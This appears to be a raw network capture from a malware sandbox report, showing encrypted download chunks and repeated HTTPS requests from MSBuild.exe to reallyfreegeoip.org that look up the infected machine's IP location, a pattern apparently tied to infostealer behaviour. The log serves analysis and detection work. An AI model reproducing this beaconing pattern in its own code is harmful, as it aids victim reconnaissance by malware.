2024-10-21 11:17:18 UTC	16384	IN	Data Raw: dc 8f a3 b7 d1 cb a0 b7 43 2f 0d b0 ce 37 ef f0 9a 42 2a 4e 5c 3f 91 75 4e 3b ff 3b 74 54 30 bb f5 4a 17 02 f2 b1 e6 a4 2c 12 33 79 14 1a 6d fc 7f eb cc 45 df 93 0a 4c 04 b6 14 d6 f7 bd 6e 62 b1 f0 db f5 c8 c4 5e b0 c7 fe 3b aa 9e 7a c9 c6 ca c2 b5 5a 72 7f 79 d1 f5 f8 3a 09 da e1 65 3c b9 86 f9 53 c6 95 bc 62 51 35 e1 9b 6b 61 82 ec 0b 88 5e 26 ba 7e 56 b6 cd a9 a0 fb 19 55 c2 55 af 95 bd 03 33 43 db 1d 2f dc 9b e5 db 95 07 f3 d1 3a cb 44 ce c2 b3 eb 8b 98 09 5a ca e3 93 bb a6 4e ba 91 0c 58 b5 f9 12 ce d5 72 70 dc 2a 29 fb 18 35 63 e1 47 4f bf d3 54 4e 79 37 46 59 87 e0 51 90 8e d2 c5 6a 0b 32 6d 61 05 10 28 67 f6 34 7f 55 8c 87 fe 15 1f e4 2b 46 a2 d5 df 6b 31 57 2b 4c e8 3c ec 5e a8 7f d1 90 ff 14 b1 f3 74 6c 07 ce 6b 39 e2 10 16 a5 57 d7 97 81 dd fe Data Ascii: C/7BN\?uN;;tT0J,3ymELnb^;zZry:e<SbQ5ka^&~VUU3C/:DZNXrp)5cGOTNy7FYQj2ma(g4U+Fk1W+L<^tlk9W
2024-10-21 11:17:18 UTC	16384	IN	Data Raw: 15 13 db 7f de 16 70 a5 10 23 b2 51 c5 e8 86 d7 a1 39 93 b9 ee fd b2 28 cc 9a d8 85 2b b8 70 44 c1 c8 23 95 0c 5b 13 a4 eb 12 45 7e 28 27 4a 9b d5 9c d1 a8 1e da a5 c9 08 66 fb 4b 58 49 48 45 e2 85 2e 58 05 85 4c 1b d0 48 01 21 2b e3 5c 3c 6a eb 2d b1 12 47 95 88 b1 c0 ef 90 bf 96 ed e6 f5 15 68 af 8d 0b 35 b1 60 6e 89 84 8e 13 33 01 da 3d f8 16 95 7b 50 90 b7 d6 a4 5d e0 25 52 96 4a 03 92 87 c8 9e 07 83 f4 e5 24 ea cd d1 69 81 66 2a f5 e6 80 6f 6b 74 69 07 40 ae fd df a8 0c c1 4f 05 53 8b 8a 27 46 cc f3 ee 58 75 d1 2e 6a 8f 83 7a 32 07 66 e9 21 52 b4 bd a7 04 fd 35 ec 0b 90 f2 86 06 d9 18 2d 64 a4 fb 84 72 2b 2e fd a8 bd 1e c4 32 7f 6d 3c 74 19 73 8f ad de e8 c7 31 11 d9 19 1b 07 f5 ea de 6a 94 2f 81 bf 88 b9 a8 97 65 64 cc 7b 80 34 d5 5e 3b d1 9e bc e0 Data Ascii: p#Q9(+pD#[E~('JfKXIHE.XLH!+\<j-Gh5`n3={P]%RJ$if*okti@OS'FXu.jz2f!R5-dr+.2m<ts1j/ed{4^;
2024-10-21 11:17:18 UTC	16384	IN	Data Raw: 0a 8c 00 af c1 9f 11 ff 37 1a 36 34 c6 a2 5c a8 0d 21 4e e9 b4 5d de d8 ed 0a 4f 57 fc 58 b5 46 5d 36 cb bd 8b 65 89 b9 e2 ae fa a3 40 6f 84 73 e1 8f ac c5 88 33 3e 2f 2a ee 71 85 92 61 21 75 cd 16 8e f0 31 a8 3f 4e eb 8a ca ab 4c 79 49 15 90 df fa b1 23 09 8d 40 00 4e c6 b1 15 f5 9c 3d e9 fc b5 8e 28 5d 88 a3 15 af df 6b f0 d2 1c 34 82 6e b6 de 54 a7 e7 94 fd 0b 92 03 fd 4c 54 b5 ac c9 45 f6 0e 9d 7b 12 d4 a6 98 ec fb a8 51 44 79 50 b6 f8 36 3a d1 35 8c b8 d3 81 90 19 d5 4c 4c 29 a0 78 d5 bc 31 30 48 75 59 f7 09 66 63 f1 8d 31 e7 74 0d 99 0b 7f 72 91 11 38 15 77 5f 44 d0 af 35 42 f2 fd c9 65 66 b1 c0 f5 5a a7 6f 6a 6b 90 1d 44 a0 df 8a 02 c8 98 31 9b c9 f6 e6 c6 bb f1 24 b4 d1 e3 74 94 96 b1 45 b4 3b 26 c6 6d 21 bd 56 d7 7a db 3f 2b 47 4b 02 f5 77 84 ed Data Ascii: 764\!N]OWXF]6e@os3>/*qa!u1?NLyI#@N=(]k4nTLTE{QDyP6:5LL)x10HuYfc1tr8w_D5BefZojkD1$tE;&m!Vz?+GKw
2024-10-21 11:17:18 UTC	16384	IN	Data Raw: cf e5 a9 47 9c a2 c8 b8 49 e5 c3 12 4f 68 a5 db f5 99 92 f6 fa 22 ce ab 6c 56 29 6b 63 cf 16 bc 8f a7 12 b0 a3 3e 83 e0 3b b8 85 8f a8 b2 d9 3b b7 bc 3e 67 c8 a3 33 96 9f f8 ca df 27 8b fd 15 58 08 30 d8 9a 9f a4 28 0a c6 3c 52 f9 23 25 b2 71 7b 4d e2 e2 18 d0 e8 ff da 6c dd 56 0c 59 af 8b 53 d7 0c a7 5b d8 62 3b 9a e5 b1 17 4d 84 48 4e ab fb 63 7a b2 1a 80 09 c1 14 87 b8 2d 4b 4c d3 f5 d0 17 b3 4a 93 fa 41 b0 a9 38 a2 6e bc 32 ee 43 a1 fd dc 6d 93 c1 47 56 0f 34 bf ff 00 27 aa 7e ce b0 3e 0e 49 47 08 e5 d7 24 78 be f4 96 62 35 cd f2 33 07 89 3d 68 e8 8f b2 4e fd dd ed 47 bc 39 90 5b af 6f 43 96 f5 af 98 ca 21 15 d0 53 c6 c7 1a df fc 43 66 3f 59 ab a7 8a 27 fb 08 3d c3 0e 30 79 96 92 29 28 a4 e2 0c 06 89 51 8d b3 1d d5 fb 6d d5 d1 c7 bc 69 65 13 91 3b f3 Data Ascii: GIOh"lV)kc>;;>g3'X0(<R#%q{MlVYS[b;MHNcz-KLJA8n2CmGV4'~>IG$xb53=hNG9[oC!SCf?Y'=0y)(Qmie;
2024-10-21 11:17:18 UTC	16384	IN	Data Raw: 45 49 c1 b6 f5 20 34 4d cf 5f 62 d6 bc 0a 7d a9 3b 72 67 cd c5 79 8d 45 ef 29 16 37 19 4c dc 98 68 f0 1c 69 ce 8d ba 24 a5 ce fb 0c 2b 87 be 6b ea 76 97 91 79 d1 0c 16 f6 62 7f 37 a7 e9 05 5f df ae a5 23 e8 89 20 39 7f 52 d9 35 30 5c e6 f8 00 a4 e2 6c b4 5b 23 e8 67 0e bf df 1f 7a a9 fb 12 5c d3 bf a8 cd 0a e4 51 74 cf f0 f9 5d a5 35 b5 d1 69 4a 97 e5 d6 2e 3c 1b 41 9f bc cd 23 d5 a8 4c 72 b9 05 1b 08 dc 0b 3c 0b 43 a5 94 41 d8 9b 26 37 93 02 e7 e5 d0 e4 a7 a9 7d 9c 57 a0 4a ab 89 51 4e 29 9d a2 d3 2a 35 ff 1c 6d 68 19 60 75 e3 c8 f2 75 61 a6 32 e7 94 81 6b 6d f0 1d 8f f5 42 b9 2c f7 e6 56 cb 5b 79 6c 9c 04 b3 e4 dc a6 11 09 e5 8b 87 f6 d5 de ba df e4 53 3c 26 a1 e1 e0 29 42 bf 64 8d 58 95 a6 12 c5 99 72 1d e4 26 70 44 d5 6b 80 c1 c7 d6 81 93 b2 38 68 35 Data Ascii: EI 4M_b};rgyE)7Lhi$+kvyb7_# 9R50\l[#gz\Qt]5iJ.<A#Lr<CA&7}WJQN)*5mh`uua2kmB,V[ylS<&)BdXr&pDk8h5
2024-10-21 11:17:19 UTC	16384	IN	Data Raw: cf 0e bc 3a 1d f1 7f 6e fc 74 28 d9 18 f0 89 a8 74 a2 ca 29 76 88 c9 7a f3 8e 0b 3f cc 2d 54 2a 6f d8 62 5f aa f1 ed 0b 6b bf 2b 71 9f e2 90 92 ce ec f4 4a 64 f2 69 30 86 fe a6 75 69 4e 2e e8 17 0f dc 12 c5 eb 7a 15 e1 5f da ce 4e 71 3d e9 cb 4d f1 46 07 c9 43 2f 66 3c b2 b9 e5 b6 f4 6c 84 3d 9d 61 9c 1c 2b 30 1b ea c5 9e fb 01 8b 9c 88 e6 19 72 aa 8a e6 5b 94 12 d1 ee bb 6c 70 06 92 36 65 15 66 19 11 1b 3e a0 46 38 67 ce 68 3d c5 7b 0b 9e 98 84 aa 0f 39 25 45 3b 46 23 bb ff d5 65 78 4c 55 89 ef a0 a7 fc 77 d7 cb 06 bf b8 85 69 b7 3a c2 4e d1 69 ab 7e 39 81 6a bf 3b e0 62 fa 7b 61 be 71 b7 21 1c 76 a5 d5 43 3e 73 ac 98 63 b6 1b c6 f1 9e 12 65 27 20 47 b8 6c 56 f4 25 98 36 05 e4 2f 7c db 54 c9 b1 47 30 4f 37 0d 11 0d ae 8c 1d 86 86 02 95 e1 3d 4a 7b 84 94 Data Ascii: :nt(t)vz?-T*ob_k+qJdi0uiN.z_Nq=MFC/f<l=a+0r[lp6ef>F8gh={9%E;F#exLUwi:Ni~9j;b{aq!vC>sce' GlV%6/\|TG0O7=J{
2024-10-21 11:17:19 UTC	16384	IN	Data Raw: db c3 ad bc 39 f5 c3 a5 39 f8 34 ca a5 65 24 7a c2 6d dc 1e dd c3 9d d5 8e 1a 4e 28 38 73 40 f6 37 e6 a0 4a 02 18 04 3f 86 eb c1 88 f2 f7 23 0d a6 00 7a 90 12 be cd c1 63 5d 2c 92 8f 7d 83 af 94 da b2 a4 aa 53 1e 3c 07 50 e0 da c9 8f 8c 01 f3 52 61 b4 10 66 46 80 e8 9e 17 df 0b 1d 34 71 bb d8 cf 6b b5 c9 f7 81 72 3d da 01 e8 91 d8 2a c5 88 09 be bd 09 0b dd 21 73 a0 06 a4 83 0a 66 04 61 a2 df b3 3b 2e e7 28 c7 56 98 52 7c 6a 2c 84 5a 9d 91 87 1b 2d c7 8d 55 67 79 d6 b1 a4 26 77 e5 9c 4c 52 08 0c e7 a3 17 2b 33 c3 71 58 81 a2 17 6a 6c a0 4d 24 07 59 18 ed 5a 6d 62 69 23 9b 4d f5 c5 2d e3 ea b0 ed 6a 04 ae 24 fa d6 c4 58 7b dd ea 7c 81 39 ac 80 e3 4b 14 df 8f 75 6e 2f e6 8c 42 4a 61 58 6c a1 e5 61 57 90 d6 01 5b aa cd d8 e4 30 b4 05 aa 54 c6 20 87 01 fb 61 Data Ascii: 994e$zmN(8s@7J?#zc],}S<PRafF4qkr=*!sfa;.(VR\|j,Z-Ugy&wLR+3qXjlM$YZmbi#M-j$X{\|9Kun/BJaXlaW[0T a
2024-10-21 11:17:19 UTC	16384	IN	Data Raw: e0 f3 32 7c 06 e9 8f e6 85 16 26 d4 16 19 a8 2c 6d 65 a7 c7 ee d3 92 25 eb 42 fd ee 94 79 3b 0d 5e e0 1d 85 ef 95 02 c3 59 a1 eb 74 e4 8b 0d ea c9 97 91 1c 8a ef 17 ee 72 92 b5 99 fe 27 73 7a 82 29 4e f4 ac 73 98 f0 43 5a c6 6d ed 0c 84 ea 55 4d 54 85 bc 2f 05 52 97 2e 9c cf 2f 50 0f 0b 07 f6 cd cf 0f 12 e7 5c b1 a5 49 c3 3b 65 f5 fc 92 fc 8d f0 24 bf b6 af 51 09 07 d8 e1 58 1c b4 8e 2a b0 a3 9c e7 b3 a2 06 e6 55 0b fc 06 3a cb 42 2a 9c 4d 2f 73 b0 13 c3 6a e3 e7 8f db 0d 6f 4c a2 74 29 d4 ef 2c e8 43 20 12 eb f8 80 6f 81 52 67 2f 38 28 41 75 46 13 0f 11 f3 c9 cb 99 e9 d7 91 86 00 dd 94 96 bb f3 80 43 3c 06 5c 27 73 74 d8 8d 03 f6 67 76 d1 de 43 3b 16 c1 5c b6 dd cb 4e 56 b5 37 d8 4a c0 82 17 c7 88 38 28 fe 89 2f 67 d8 b4 03 9f 8a 85 73 98 80 54 11 2c b9 Data Ascii: 2\|&,me%By;^Ytr'sz)NsCZmUMT/R./P\I;e$QXU:BM/sjoLt),C oRg/8(AuFC<\'stgvC;\NV7J8(/gsT,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49932	188.114.96.3	443	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:17:52 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-21 11:17:52 UTC	898	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:52 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35137 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FANsXUiKQDHTQYH3vtv5M0T%2BABDGje3NvivKBX8jYp5QIRQxD3jyDWhK1UR2gJe1NTS%2Fmhk8LcZGc2JBXiiApACeRS3i7xEgTNxtlHHEKg%2ByzvayHeC5BN%2BSeIL%2BtXCcNRW6WBWX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d60d7fd2b236b79-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1237&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2314948&cwnd=251&unsent_bytes=0&cid=1e28741d06d88744&ts=213&x=0"
2024-10-21 11:17:52 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 11:17:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49940	188.114.96.3	443	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:17:53 UTC	63	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-21 11:17:54 UTC	890	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:54 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35139 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qczUn34jhYjdKS8xpStc9NOnBd8vZolpIrB0ElbHkhVxIxZHdQ2zkIXqkiTnNy7IEYAqLF1hqtc%2BWxlfu1Z5CzuRS57Yop9N2OTfpNV3bZjBVM5yTFuZHUzs9hauuI8l8ptLU8S0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d60d8047a886bec-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1741&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1641723&cwnd=251&unsent_bytes=0&cid=822c67008aa40540&ts=149&x=0"
2024-10-21 11:17:54 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 11:17:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49951	188.114.96.3	443	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:17:55 UTC	63	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-21 11:17:55 UTC	896	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:55 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35140 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AEj3Itxvfa92NSWySTA03ddiUal5%2BA659UwBKONm1%2Fy9BIdB6WgdZdo5Ny2tKGaChkja6ayM6%2FX69uxocgGY5stazkLR55GLOQ8RwNx4WiNjhI%2BqEINhtW2AkIyEzCEgBM05k1NA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d60d80e8c3c2cb2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1170&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2222563&cwnd=245&unsent_bytes=0&cid=48fa64967b97e399&ts=151&x=0"
2024-10-21 11:17:55 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 11:17:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49959	188.114.96.3	443	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:17:57 UTC	63	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-21 11:17:57 UTC	897	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:57 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35142 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8CCWVKASfY1qQZi9SuzMRqEoVBP5%2Fp%2BLEAqex%2BK5zGqb78fJN4K0Va9EziDCX7jvgZVvdLWXqwqE%2FMKNP0ExJMzlWiseLGOxeg5%2BdICmuOABFMtAat0UwIcUzheB95lAV9SCCw4T"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d60d817da7c6b34-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=952&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2955102&cwnd=251&unsent_bytes=0&cid=ce3141da3e9dd493&ts=192&x=0"
2024-10-21 11:17:57 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 11:17:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49971	188.114.96.3	443	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:17:58 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-21 11:17:58 UTC	899	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:58 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35143 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SWFQPWZxAitNMq5DY36209G96F%2BJNnQawcb2tnfqW13cpQlN%2BBQF%2BGvv0Ka1Is3wtJb%2BRN8BKRQXk%2Fc5cvACpZQj00oSzK3pz8GKhaNh4yDfSoO2mG8df7kC2jzk%2FD4ndFl8hPsJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d60d821dbade7af-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1921&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=1480572&cwnd=32&unsent_bytes=0&cid=7c4c325a1eaef9c1&ts=149&x=0"
2024-10-21 11:17:58 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 11:17:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49981	188.114.96.3	443	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:18:00 UTC	63	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-21 11:18:00 UTC	900	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:18:00 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35145 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o%2BeXSA7PxLv3L2bsYSOmavNJVatyTRW06DgqSlD8%2BMddjd%2FqbCanG8TNXUWMAbUMtn1ap%2Fqfe1hDRx7%2F555MzZ76zKtCP72vGU1OifzogHZ1PpIjF9lCXGwrWzU4IEJCa%2BEOUWdW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d60d82bce9e6b38-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1735&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1595592&cwnd=243&unsent_bytes=0&cid=8469d405051e2694&ts=151&x=0"
